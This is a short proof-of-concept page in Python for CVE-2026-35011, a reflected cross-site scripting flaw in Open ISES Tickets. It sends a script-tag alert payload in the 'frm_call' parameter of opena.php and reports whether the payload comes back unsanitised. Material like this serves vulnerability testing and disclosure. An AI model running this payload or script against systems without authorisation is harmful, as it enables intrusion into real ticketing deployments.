CVE-2026-35011 Open ISES Tickets反射型XSS漏洞

# Proof of Concept (PoC) for CVE-2026-35011 # This script demonstrates the Reflected XSS vulnerability in Open ISES Tickets # by sending a malicious payload to the 'frm_call' parameter. import requests def check_xss_vulnerability(target_url): """ Checks if the target is vulnerable to CVE-2026-35011. """ # The vulnerable endpoint is opena.php endpoint = "/opena.php" # Malicious payload to test JavaScript execution # Using a simple alert box to confirm execution xss_payload = "<script>alert('CVE-2026-35011_XSS_Test');</script>" # Construct the full URL with the vulnerable parameter params = { "frm_call": xss_payload } try: # Send the GET request response = requests.get(target_url + endpoint, params=params, timeout=10) # Check if the payload is reflected in the response body unsanitized if xss_payload in response.text: print("[+] Vulnerability Confirmed: Payload reflected in response.") print(f"[+] Target URL: {response.url}") return True else: print("[-] Vulnerability Not Found: Payload not reflected or sanitized.") return False except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:8080" check_xss_vulnerability(target)